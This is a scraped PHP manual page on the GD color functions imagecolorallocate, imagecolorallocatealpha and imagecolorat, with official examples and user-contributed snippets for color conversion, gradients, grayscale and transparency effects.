Here's a very simple function that basically does the same as imagecolorallocate(), only without needing an image resource to work.

<?php
function createcolor($r, $g, $b) {
  return hexdec(str_pad(dechex($r), 2, 0, STR_PAD_LEFT).str_pad(dechex($g), 2, 0, STR_PAD_LEFT).str_pad(dechex($b), 2, 0, STR_PAD_LEFT));
}

/* As said earlier, this function does the exact same thing as imagecolorallocate(), without needing an image resource. This means that the following two blocks of code result in the exact same thing: */

//Block 1
$color = colorcreate(105, 199, 204);

//Block 2
$img = imagecreatetruecolor(100, 100); //the arguments here don't really matter
$color = imagecolorallocate($img, 105, 199, 204);
imagedestroy($img);
?>
federicot at gmail dot com 21-May-2008 07:08
Little correction to marc-gutt's regural expression to validate hex color values. You can use this little function:

<?php
// Validate an hex color string. Return true if valid, false otherwise
function validateHexColor($color) {
    $color = substr($color, 0, 7);
    return preg_match('/#[0-9a-fA-F]{6}/', $color);
}
?>
djcassis at gmail dot com 21-Nov-2007 12:06
I also find the following useful when dealing with HTML hexadecimal colors :
<?php
$color = '#FFffFF';
print_r(sscanf($color, '#%2x%2x%2x'));
?>
outputs :
Array
(
    [0] => 255
    [1] => 255
    [2] => 255
)
Ludo 24-Oct-2007 02:35
When working on an existant GIF images, if the number of different colours has reached the limits of the GIF format, imagecolorallocate will not use to the colour you ask her within the parameters, she will apply black !

That's a problem when generating images "on-the-fly" with many manipulations, from a GIF image.
To go round the problem, you have to convert the GIF image into a PNG one, and then you can work on the PNG and everything will be ok.

For example :
<?php
// first, convert into a PNG image
$handle = imagecreatefromgif('my_image.gif');
imagepng($handle, 'my_image.png');
imagedestroy($handle);

// then, you can work on it
$handle = imagecreatefrompng('my_image.png');
/*
* work on the image
*/
imagegif($handle);
?>
William Barath 28-Sep-2007 04:15
Lots of hsv2rgb commentary but no working example, so here's mine:

<?php // hsv2rgb example translated from ImageMagick C code
function hsv2rgb($h, $s, $v)
{
    $s /= 256.0;
    if ($s == 0.0) return array($v,$v,$v);
    $h /= (256.0 / 6.0);
    $i = floor($h);
    $f = $h - $i;
    $p = (integer)($v * (1.0 - $s));
    $q = (integer)($v * (1.0 - $s * $f));
    $t = (integer)($v * (1.0 - $s * (1.0 - $f)));
    switch($i) {
    case 0: return array($v,$t,$p);
    case 1: return array($q,$v,$p);
    case 2: return array($p,$v,$t);
    case 3: return array($p,$q,$v);
    case 4: return array($t,$p,$v);
    default: return array($v,$p,$q);
    }
}

$image = ImageCreateTrueColor(256,128);
for ($y=0; $y<64; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x | 7,255,($y*4) |7);
    $color = ($r << 16 ) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=64; $y<128; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x|7,((127-$y)*4)|7,255);
    $color = ($r << 16) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=120; $y<128; $y++) for($x=0; $x<256; $x++){
    $color = (($x |7) << 16) | (($x |7) << 8) | ($x |7);
    imagesetpixel($image, $x, $y, $color);
}
header("Content-Type: image/png");
imagepng($image);
?>
info at marc-gutt dot de Marc Gutt 03-Aug-2007 05:50
rgb from hex without creating a new function or using split features:

<?php

$color = 'FF9900';
$color = imagecolorallocate($im, hexdec('0x' . $color{0} . $color{1}), hexdec('0x' . $color{2} . $color{3}), hexdec('0x' . $color{4} . $color{5}));

?>

You can validate $color with preg_match('#[a-z0-9]{6}#i', $color) if necessary.
picklecj at rose-hulman dot edu 13-Jun-2007 08:15
Another solution to color limitation issues when creating gradients. This file takes width (px) and left and right colors (hex) and makes a gradient while only allocating 250 colors.

<?php
$leftR = hexdec(substr($_GET["left"],0,2));
$leftG = hexdec(substr($_GET["left"],2,2));
$leftB = hexdec(substr($_GET["left"],4,2));
$rightR = hexdec(substr($_GET["right"],0,2));
$rightG = hexdec(substr($_GET["right"],2,2));
$rightB = hexdec(substr($_GET["right"],4,2));
$image=imagecreate($_GET["width"],1);
for($i=0;$i<250;$i++) {
    $colorset[$i] = imagecolorallocate($image, $leftR + ($i*(($rightR-$leftR)/250)), $leftG + ($i*(($rightG-$leftG)/250)), $leftB + ($i*(($rightB-$leftB)/250)));
}
for($i=0;$i<($_GET["width"]);$i++) {
  imagesetpixel ($image, $i, 0, $colorset[(int)($i/($_GET["width"]/250))] );
}
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>

example: gradient.php?width=640&left=000000&right=FF0000

Makes a 640px-wide image that fades from black to red.
LPEspecial at home dot nl 19-Sep-2006 08:04
This might help someone who want to  use 'ImageColorAllocate ' with a hex value

<?php
function ImageColorAllocateFromHex ($img, $hexstr)
{
  $int = hexdec($hexstr);

  return ImageColorAllocate ($img,
         0xFF & ($int >> 0x10),
         0xFF & ($int >> 0x8),
         0xFF & $int);
}
?>
behun at webconsult dot sk 27-Aug-2006 01:56
Also, when you need more then 256 colors, use imagecreatetruecolor function. With this function you can use unlimited number of colors.
SW 13-Jan-2006 02:00
This works! A Black-Image with vertical centered white Aliased Arial-Text and same left and right margin - used for Menu-Buttons.

<?php

  function createImgText ($string="", $fontsize=0, $marginX=0, $imgH=0 , $fontfile="", $imgColorHex="", $txtColorHex=""){
    if($string!=""){
        Header("Content-type: image/png");
        //
        $spacing = 0;
          $line = array("linespacing" => $spacing);
        $box = @imageftbbox($fontsize,0,$fontfile,$string,$line)
        or die("ERROR");
        $tw=$box[4]-$box[0]; //image width
        $marginY = $imgH - (($imgH - $fontsize) / 2);
        $imgWidth = $tw + (2*$marginX);
        $im = ImageCreate($imgWidth, $imgH);
        $int = hexdec($imgColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $black = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        $int = hexdec($txtColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $white = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        ImageFtText($im, $fontsize, 0, $marginX, $marginY, $white, $fontfile, $string, array());
        ImagePng($im);
        ImageDestroy($im);
    }else{
        echo "ERROR!";
    }
}
createImgText ("Hello World", 9, 10, 18, "arial.ttf", "000000", "FFFFFF");
?>
mlse 15-Nov-2005 01:49
Another more general variation on the theme using the same naming conventions as the hexdec and dechex built-in functions ...

Prototype:

array hexrgb ( string hex_string )

Returns:

An associative array of the RGB components specified in hex_string.

hexrgb() example:

<?php
$rgb = hexrgb("0xAABBCC");
print_r($rgb);
?>

Output is:

Array
(
  [red] => 170
  [green] => 187
  [blue] => 204
)

Implementation:

<?php
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);

  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}
?>

The output of hexdec can then be passed to imagecolorallocate and manipulated as required.
Zigbigidorlu at hotmail dot com 06-Oct-2005 12:05
Here's a very simple and very effective code to change a HEX color to RGB.

<?php
function HEX2RGB($color){
 $color_array = array();
 $hex_color = strtoupper($color);
 for($i = 0; $i < 6; $i++){
  $hex = substr($hex_color,$i,1);
  switch($hex){
   case "A": $num = 10; break;
   case "B": $num = 11; break;
   case "C": $num = 12; break;
   case "D": $num = 13; break;
   case "E": $num = 14; break;
   case "F": $num = 15; break;
   default: $num = $hex; break;
  }
  array_push($color_array,$num);
 }
 $R = (($color_array[0] * 16) + $color_array[1]);
 $G = (($color_array[2] * 16) + $color_array[3]);
 $B = (($color_array[4] * 16) + $color_array[5]);
 return array($R,$G,$B);
 unset($color_array,$hex,$R,$G,$B);
}
?>
mail at kailashnadh dot name 28-Jun-2005 07:47
This nifty function will produce the negative of a given image!

<?php

/********************************

     Code by Kailash Nadh
     http://kailashnadh.name

     usage:
     img2neg("my_pic.jpg");

*********************************/

function img2neg($pic) {

    header("Content-type: image/jpeg");

    $source=imagecreatefromjpeg($pic);    // Source
    $width=imagesx($source);    $height=imagesy($source);

    $im = imagecreatetruecolor($width, $height);    // Our negative img in the making

    for($y=0; $y < $height; $y++) {
        for($x=0; $x < $width; $x++) {

        $colors=imagecolorsforindex($source, imagecolorat($source, $x,$y));

            // this is what makes the colors negative
            $r=255-$colors['red'];
            $g=255-$colors['green'];
            $b=255-$colors['blue'];
            $test=imagecolorallocate($im, $r,$g,$b);
            imagesetpixel($im,$x, $y, $test);
        }
    }

    imagejpeg($im);
    imagedestroy($im);
}

?>
andreoli dot carlo at libero dot it 08-Jun-2005 06:38
hsl to RGB
(not yet optimized but it function)

<?php
function hslToRgb ($h, $s, $l) {
    if ($h>240 || $h<0) return array(0,0,0);
    if ($s>240 || $s<0) return array(0,0,0);
    if ($l>240 || $l<0) return array(0,0,0);
    if ($h<=40) {
        $R=255;
        $G=(int)($h/40*256);
        $B=0;
    }
    elseif ($h>40 && $h<=80) {
        $R=(1-($h-40)/40)*256;
        $G=255;
        $B=0;
    }
    elseif ($h>80 && $h<=120) {
        $R=0;
        $G=255;
        $B=($h-80)/40*256;
    }
    elseif ($h>120 && $h<=160) {
        $R=0;
        $G=(1-($h-120)/40)*256;
        $B=255;
    }
    elseif ($h>160 && $h<=200) {
        $R=($h-160)/40*256;
        $G=0;
        $B=255;
    }
    elseif ($h>200) {
        $R=255;
        $G=0;
        $B=(1-($h-200)/40)*256;
    }
    $R=$R+(240-$s)/240*(128-$R);
    $G=$G+(240-$s)/240*(128-$G);
    $B=$B+(240-$s)/240*(128-$B);
    if ($l<120) {
        $R=($R/120)*$l;
        $G=($G/120)*$l;
        $B=($B/120)*$l;
    }
    else {
        $R=$l*((256-$R)/120)+2*$R-256;
        $G=$l*((256-$G)/120)+2*$G-256;
        $B=$l*((256-$B)/120)+2*$B-256;
    }
    if ($R<0) $R=0;
    if ($R>255) $R=255;
    if ($G<0) $G=0;
    if ($G>255) $G=255;
    if ($B<0) $B=0;
    if ($B>255) $B=255;

    return array((int)$R,(int)$G,(int)$B);
}
?>
mv at brazil dot com 15-Mar-2005 11:34
<?php

/**
 * Create a image bar using lib GD
 * Ege. <img src="color_sample.php?color=FF0000" width="10 height="30">
 */

// Split the HTML color representation
$hexcolor = str_split($_GET["color"], 2);

// Convert HEX values to DECIMAL
$bincolor[0] = hexdec("0x{$hexcolor[0]}");
$bincolor[1] = hexdec("0x{$hexcolor[1]}");
$bincolor[2] = hexdec("0x{$hexcolor[2]}");

$im = ImageCreate(100, 100);
$colorallocate = ImageColorAllocate($im, $bincolor[0], $bincolor[1], $bincolor[2]);
ImageFilledRectangle($im, 0, 0, 100, 100, $colorallocate);
header('Content-Type: image/png');
ImagePNG($im);

?>
18-Jan-2005 02:23
When you are using truecolor images, you can also use bitwise operations to generate the color:
<?php
$color = ($r << 16) | ($g << 8) | $b; // 2261213
?>
This is identical to the imagecolorallocate() function, in truecolor images!
aaron at parecki dot com 22-Dec-2004 02:10
This will let you tint an image to any specific color. The blacks of the source image become your specified color, and the whites remain white. Works best for colorizing greyscale images.

<?php

$r = 224;
$g = 192;
$b = 0;
$source_file = "picture.jpg";

$im_src = ImageCreateFromJpeg($source_file);
$im_tint = ImageCreate(imagesx($im_src),imagesy($im_src));
for ($c = 0; $c < 255; $c++) {
     ImageColorAllocate($im_tint, max($r,$c), max($g,$c), max($b,$c));
}
ImageCopyMerge($im_tint,$im_src,0,0,0,0, imagesx($im_src), imagesy($im_src), 100);
ImageDestroy($im_src);

header("Content-type: image/jpeg");
imagejpeg($im_tint);

?>
tyberis 28-Nov-2004 04:58
2 functions to convert from HSV colorspace (hue/saturation/brightness) to RGB (red/green/blue) colorspace and back.
<?php
// $c = array($red, $green, $blue)
// $red=[0..1], $green=[0..1], $blue=[0..1];
function rgb2hsv($c) {
 list($r,$g,$b)=$c;
 $v=max($r,$g,$b);
 $t=min($r,$g,$b);
 $s=($v==0)?0:($v-$t)/$v;
 if ($s==0)
  $h=-1;
 else {
  $a=$v-$t;
  $cr=($v-$r)/$a;
  $cg=($v-$g)/$a;
  $cb=($v-$b)/$a;
  $h=($r==$v)?$cb-$cg:(($g==$v)?2+$cr-$cb:(($b==$v)?$h=4+$cg-$cr:0));
  $h=60*$h;
  $h=($h<0)?$h+360:$h;
 }
 return array($h,$s,$v);
}

// $c = array($hue, $saturation, $brightness)
// $hue=[0..360], $saturation=[0..1], $brightness=[0..1]
function hsv2rgb($c) {
 list($h,$s,$v)=$c;
 if ($s==0)
  return array($v,$v,$v);
 else {
  $h=($h%=360)/60;
  $i=floor($h);
  $f=$h-$i;
  $q[0]=$q[1]=$v*(1-$s);
  $q[2]=$v*(1-$s*(1-$f));
  $q[3]=$q[4]=$v;
  $q[5]=$v*(1-$s*$f);
  //return(array($q[($i+4)%5],$q[($i+2)%5],$q[$i%5]));
  return(array($q[($i+4)%6],$q[($i+2)%6],$q[$i%6])); //[1]
 }
}
?>

[1] - EDITOR NOTE: THIS IS A FIX FROM "hc at hob(removethis)soft dot net".
smoli at paranoya dot ch 19-Jul-2004 11:10
Some of you maybe want to use HSV color model for drawing color selectors and circles:

<?php
  function &colormap_hsv_to_rgb($h, $s, $v)
  {
    $ret = new stdClass();

    if($s == 0)
    {
      $ret->r = $v;
      $ret->g = $v;
      $ret->b = $v;

      return $ret;
    }
    else
    {
      $h = floatval($h) / 255.0;
      $s = floatval($s) / 255.0;
      $v = floatval($v) / 255.0;

      $hue = $h;

      if($hue == 1.0)
        $hue = 0.0;

      $hue *= 6.0;

      $i = intval($hue);
      $f = $hue - floatval($i);
      $w = $v * (1.0 - $s);
      $q = $v * (1.0 - ($s * $f));
      $t = $v * (1.0 - ($s * (1.0 - $f)));

      switch($i)
      {
         case 0: $ret->r = $v; $ret->g = $t; $ret->b = $w; break;
         case 1: $ret->r = $q; $ret->g = $v; $ret->b = $w; break;
         case 2: $ret->r = $w; $ret->g = $v; $ret->b = $t; break;
         case 3: $ret->r = $w; $ret->g = $q; $ret->b = $v; break;
         case 4: $ret->r = $t; $ret->g = $w; $ret->b = $v; break;
         case 5: $ret->r = $v; $ret->g = $w; $ret->b = $q; break;
      }
    }

    $ret->r = intval($ret->r * 255.0);
    $ret->g = intval($ret->g * 255.0);
    $ret->b = intval($ret->b * 255.0);

    return $ret;
  }
?>
jernberg at fairytale dot se 05-Mar-2004 10:43
this might help someone, how to allocate an color from an html color-definition:

<?php
$fg = "#ff0080";

$red = 100;
$green = 100;
$blue = 100;
if( eregi( "[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $fg, $ret ) )
{
    $red = hexdec( $ret[1] );
    $green = hexdec( $ret[2] );
    $blue = hexdec( $ret[3] );
}

$text_color = ImageColorAllocate( $img1, $red, $green, $blue );
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:44
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig
*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
leif at harmsen dot net 15-Apr-2003 07:31
I was unable to get any of the posted methods for converting colour to grayscale to work.  The problem appears to be the way gd creates images from jpeg inconsistently over various versions.  Eventually I wrote my own that works for me - this approach allocates the 256 color pallete first.  You can also play with separate $r, $g, $b variables before using imagecolorallocate in order to tone or tint the image.

<?php
$resource = 'whatever.jpg';
$im_size = GetImageSize($resource);
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];
$im = imageCreate($imageWidth,$imageHeight);
for ($c = 0; $c < 256; $c++) {
     ImageColorAllocate($im, $c,$c,$c);
}
$im2 = ImageCreateFromJpeg($resource);
ImageCopyMerge($im,$im2,0,0,0,0, $imageWidth, $imageHeight, 100);
ImageDestroy($im2);
?>

go on using $im as your image, it is now grayscale ....
jasper at pointless dot net 20-Jan-2003 05:20
a patch to php 4.3.0 to add imagecolorallocatealpha is here:

http://pointless.net/~jasper/php-4.3.0-imagecolorallocatealpha.patch

cd php-4.3.0/ext/gd
patch < path/to/patch

and recompile and reinstall.
bisqwit at iki dot fi 16-Feb-2002 08:30
Actually, you can't allocate more than 256 colours for an paletted image (ImageCreate).
Use ImageCreateTrueColor instead. For it to work, you need libgd version 2 support in php though.
imagecharup
imagecolorallocatealpha
GD and Image Functions


Allocate a color for an image

imagecolorallocate
imagecolorat
GD and Image Functions
PHP Manual

imagecolorallocatealpha

(PHP 4 >= 4.3.2, PHP 5)

imagecolorallocatealpha — Allocate a color for an image

Description

int imagecolorallocatealpha ( resource $image , int $red , int $green , int $blue , int $alpha )

imagecolorallocatealpha() behaves identically to imagecolorallocate() with the addition of the transparency parameter alpha.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

A color identifier or FALSE if the allocation failed.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
Prior to 5.1.3 | Returns -1 if the allocation failed.

Examples

Example #1 Example of using imagecolorallocatealpha()

<?php
$size = 300;
$image=imagecreatetruecolor($size, $size);

// something to get a white background with black border
$back = imagecolorallocate($image, 255, 255, 255);
$border = imagecolorallocate($image, 0, 0, 0);
imagefilledrectangle($image, 0, 0, $size - 1, $size - 1, $back);
imagerectangle($image, 0, 0, $size - 1, $size - 1, $border);

$yellow_x = 100;
$yellow_y = 75;
$red_x    = 120;
$red_y    = 165;
$blue_x   = 187;
$blue_y   = 125;
$radius   = 150;

// allocate colors with alpha values
$yellow = imagecolorallocatealpha($image, 255, 255, 0, 75);
$red    = imagecolorallocatealpha($image, 255, 0, 0, 75);
$blue   = imagecolorallocatealpha($image, 0, 0, 255, 75);

// drawing 3 overlapped circle
imagefilledellipse($image, $yellow_x, $yellow_y, $radius, $radius, $yellow);
imagefilledellipse($image, $red_x, $red_y, $radius, $radius, $red);
imagefilledellipse($image, $blue_x, $blue_y, $radius, $radius, $blue);

// don't forget to output a correct header!
header('Content-Type: image/png');

// and finally, output the result
imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : Example of using imagecolorallocatealpha()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorallocate() - Allocate a color for an image
  • imagecolordeallocate() - De-allocate a color for an image

User Contributed Notes

Ben Zemm 23-Nov-2011 06:40
"This was stored as 8bit where 0 is completely transparant, and 255 is complete opaque."

This would be a lot more efficient:

<?php
$alpha7 = ((~((int)$alpha8)) & 0xff) >> 1;
?>

where alpha8==255, alpha7==0
where alpha8=127, alpha7== 64
where alpha8==0, alpha7==127
hosh [underscore] 90 [at] live [dot] com 28-Mar-2011 05:57
I have had a case where I got the alpha from a raw RGBA pallete. This was stored as 8bit where 0 is completely transparant, and 255 is complete opaque.
This is impossible to use with imagecolorallocatealpha() as it requires a 7bit int where 0 is completely opaque and 127 is completely transparant (otherway around)
You can solve this by subtracting 255, removing the negative sign (either by converting to string and substr($alpha, 1) or some other way) and then bitshifting the answer to the right by one 1 bit.

Example:
<?php
$alpha = 0; // equivalent to alpha 127 needed for imagecolorallocatealpha()
$alpha = $alpha - 255; // subtract 255, this will give a negative number
$alpha = substr($alpha, 1); // remove negative/minus sign
$alpha = (int)$alpha; // convert back to integer
$alpha = $alpha >> 1; // bitshift to the right once.
echo $alpha; // output: 127

// This can be done in one line of course:
$alpha = 255; // equivalent to 0 for imagecolorallocatealpha()
$alpha = ((int)(substr($alpha - 255, 1))) >> 1;
echo $alpha; // outputs 0
?>
fjoggen at gmail dot com 29-Nov-2007 07:19
If you need to calculate the integer representation of a color with an alpha channel, without initialising an image and using the imagecolorallocatealpha function. Then this function might be of some help:

<?php
function alphaColor($hexColor,$alpha)
{
        return bindec(decbin($alpha).decbin(hexdec($hexColor));
}

echo alphaColor("FFFFFF",127);
?>
eric (at) junioronline.us 25-Jan-2006 01:41
If you only wish to extract the alpha value for a color, you can simply extract it like so:

<?php

    $color = imagecolorat($im, 50, 50);
    $alpha = $color >> 24;

?>

It actually shifts off the first 24 bits (where 8x3 are used for each color), and returns the remaining 7 allocated bits (commonly used for alpha)
fchristl at hotmail dot com 19-Sep-2003 12:55
Check out this Source, it's a little funny feature showing you, for what imagecolorallocatealpha() is used:

<?php
$im=imagecreatetruecolor(300,300);
$white=imagecolorallocate($im,255,255,255);
imagefilledrectangle($im,0,0,imagesx($im),imagesy($im),$white);
for($i=0;$i<256;$i=$i+10)
{
$col=imagecolorallocatealpha($im,$i,$i,$i,ceil(rand(0,127)));
imagefilledellipse($im,$i,$i,$i,$i,$col);
}
header("content-type: image/png");
imagepng($im);
?>
imagecolorallocate
imagecolorat
GD and Image Functions


Get the index of the color of a pixel

imagecolorallocatealpha
imagecolorclosest
GD and Image Functions
PHP Manual

imagecolorat

(PHP 4, PHP 5)

imagecolorat — Get the index of the color of a pixel

Description

int imagecolorat ( resource $image , int $x , int $y )

Returns the index of the color of the pixel at the specified location in the image specified by image.

If PHP is compiled against GD library 2.0 or higher and the image is a truecolor image, this function returns the RGB value of that pixel as integer. Use bitshifting and masking to access the distinct red, green and blue component values:

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate of the point.

y

y-coordinate of the point.

Return Values

Returns the index of the color.

Examples

Example #1 Access distinct RGB values

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

var_dump($r, $g, $b);
?>

The above example will output something similar to:

int(119)
int(123)
int(180)

Example #2 Human-readable RGB values using imagecolorsforindex()

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);

$colors = imagecolorsforindex($im, $rgb);

var_dump($colors);
?>

The above example will output something similar to:

array(4) {
  ["red"]=>
  int(119)
  ["green"]=>
  int(123)
  ["blue"]=>
  int(180)
  ["alpha"]=>
  int(127)
}

See Also

  • imagecolorset() - Set the color for the specified palette index
  • imagecolorsforindex() - Get the colors for an index

User Contributed Notes

chandrachur at elegantsystems dot net 28-Mar-2011 01:53
Here is a fun code for making images with white bg transparent. Well it can work with any bg but you need to adjust the color values accordingly. Works best with plain dual colors. I searched for this kind of code a lot but unable to find one ...see if this helps someone.

<?php

function transparentImage($src){  //making images with white bg transparent
$r1=80;
$g1=80;
$b1=80;
for($x = 0; $x < imagesx($src); ++$x)
        {
            for($y = 0; $y < imagesy($src); ++$y)
            {
                $color=imagecolorat($src, $x, $y);
                $r = ($color >> 16) & 0xFF;
                $g = ($color >> 8) & 0xFF;
                $b = $color & 0xFF;
                for($i=0;$i<270;$i++){
                    if($r.$g.$b==($r1+$i).($g1+$i).($b1+$i)){
                        $trans_colour = imagecolorallocatealpha($src, 0, 0, 0, 127);
                        imagefill($src, $x, $y, $trans_colour);
                    }
                }
            }
        }

        return $src;
}

$image='abc/abc.jpg';
$src = imagecreatefromjpeg($image);
$src=transparentImage($src); //Lets make the jpegs transparent

?>
Kae Cyphet 08-Feb-2011 05:02
If you are getting inconsistent results or results that dont make any sense when trying to retrieve a black pixel eg:

(Red,Green,Blue)
0,0,0
0,0,0
0,0,2
0,0,4
0,0,6
0,0,7
0,0,0
0,0,10
0,0,8
0,0,9
0,0,0
0,0,12
0,0,13
0,0,0

switch from using imagecreate() to imagecreatetruecolor()

issue found when creating a graph where a pixel would increase in color based on the previous color and new data.
madtrader117 at gmail dot com 08-Aug-2010 07:51
Here's a function I made for finding the size of the black border surrounding some movie thumbnails where the movie itself has had black padding added in order to maintain aspect ratio.

<?php
    define("DEBUG_OUT",TRUE);
    $border_size = find_border_size($path);
    print_r($border_size);
    /*
     * $border = max(find_border_size("img.jpg"));
     * $thumb_size_x = 180+(2*$border);
     * $thumb_size_y = 240+(2*$border);
     * $thumb_size = $thumb_size_x . "x" . $thumb_size_y; (String to use in the -s param of ffmpeg)
     * $crop_cmd = "-croptop $border -cropbottom $border -cropright $border -cropleft $border";
     */
    function find_border_size($path)
    {
        /* The pad var is essentially a 'feather' value. Unless one of the RGB values rises
         * above $pad we are saying to continue. You can try different values but with 10 I
         * would still get a decent sized border due to the bleedover of the movie into
         * the hat.
         */
        $pad = 20;
        $border_y = 0;
        $border_x = 0;

        if(!file_exists($path))
        {
            if(DEBUG_OUT) echo("Error: $path not found.\n");
            return FALSE;
        }
        else
        {
            if(DEBUG_OUT) echo("Opening: $path ...\n");
        }
        $im = @imagecreatefromjpeg($path);
        if(!$im) return FALSE;
        $height = imagesy($im);
        $width = imagesx($im);

        /* Let's start at 0, 0 and keep going till we hit a color */
        if(DEBUG_OUT) echo("Image - Height: $height / Width: $width\n");
        /* Border Height(Y) */
        $center_width = ceil($width/2);
        for($i=0; $i<$height; $i++)
        {
            $rgb = imagecolorat($im,$center_width,$i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Height: ($center_width,$i) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_y = $i;
                if($border_y == $height) $border_y = 0;
                break;
            }
        }

        /* Border Width(X) */
        $center_height = ceil($height/2);
        for($i=0; $i<$width; $i++)
        {
            $rgb = imagecolorat($im,$i,$center_height);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Width: ($i,$center_width) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_x = $i;
                if($border_x == $width) $border_x = 0;
                break;
            }
        }

        /* I am making the border a multiple of 2 since I am sending these values to FFMpeg */
        if($border_x != 0)
        {
            $border_x /= 2;
            $border_x = round($border_x);
            $border_x *= 2;
        }
        if($border_y != 0)
        {
            $border_y /= 2;
            $border_y = round($border_y);
            $border_y *= 2;
        }
        if(DEBUG_OUT) echo("Border Width: $border_x / Border Height: $border_y\n");
        return array($border_x,$border_y);
    }
?>
black at scene-si dot org 18-May-2010 05:39
If an image is filled with a solid color (rgb 0,0,0) the average color will be 0,0,0, and the histogram will have the maximum values at r[0], g[0], and b[0]. Since we remove those values with the tolerance (+- 16), we are only left with colors outside of average.

If the removed colors represent more than 90% of the image (we remove 6.25-12.5% of the histogram based on the average color), then we asume the image is blank.

This detects solid filled images of any color, and with images of very little color variance (blank wall, blue sky with no clouds, nearly faded images, very low contrast and low color range images). The function is perfect for checking if a frame from a video is blank or not (in case you are generating thumbnails).

<?php
function isBlank($gd_resource, $tolerance, $percent)
{
        list($w,$h) = array(imagesx($gd_resource), imagesy($gd_resource));

        $count = 0;
        $hr = $hg = $hb = array();
        for ($i=0; $i<$h; $i++) {
                for ($j=0; $j<$w; $j++) {
                        $pos = imagecolorat($gd_resource, $j, $i);
                        $f = imagecolorsforindex($gd_resource, $pos);
                        $hr[$f['red']] = issetor($hr[$f['red']],0) + 1;
                        $hg[$f['green']] = issetor($hg[$f['green']],0) + 1;
                        $hb[$f['blue']] = issetor($hb[$f['blue']],0) + 1;
                        $count ++;
                }
        }

        $rc = array_sum($hr);
        $gc = array_sum($hg);
        $bc = array_sum($hb);

        $r = $rc/$count;
        $g = $gc/$count;
        $b = $bc/$count;

        $ra = range(max(0,$r-$tolerance), min(255,$r+$tolerance));
        $ga = range(max(0,$g-$tolerance), min(255,$g+$tolerance));
        $ba = range(max(0,$b-$tolerance), min(255,$b+$tolerance));

        foreach ($ra as $rx) {
                unset($hr[$rx]);
        }
        foreach ($ga as $gx) {
                unset($hg[$gx]);
        }
        foreach ($ba as $bx) {
                unset($hb[$bx]);
        }

        $red = floatval(array_sum($hr)+1) / floatval($rc);
        $green = floatval(array_sum($hg)+1) / floatval($gc);
        $blue = floatval(array_sum($hb)+1) / floatval($bc);

        if ($red<$percent && $green<$percent && $blue<$percent) {
                return true;
        }
        return false;
}

// Example;

isBlank($gd_resource, 16, 0.1);

?>
tumbler 14-Feb-2009 11:36
With this example you can calculate the weather status :)
Just put an image (webcam) in an img folder, and run this script.

<?php
    $img = "img/clouds.gif";
    $imgHand = ImageCreateFromGIF;
    $imgSize = GetImageSize($img);
    $imgWidth = $imgSize[0];
    $imgHeight = $imgSize[1];
    echo '<img src="'.$img.'"><br><br>';
    for ($l = 0; $l < $imgHeight; $l++) {
        for ($c = 0; $c < $imgWidth; $c++) {
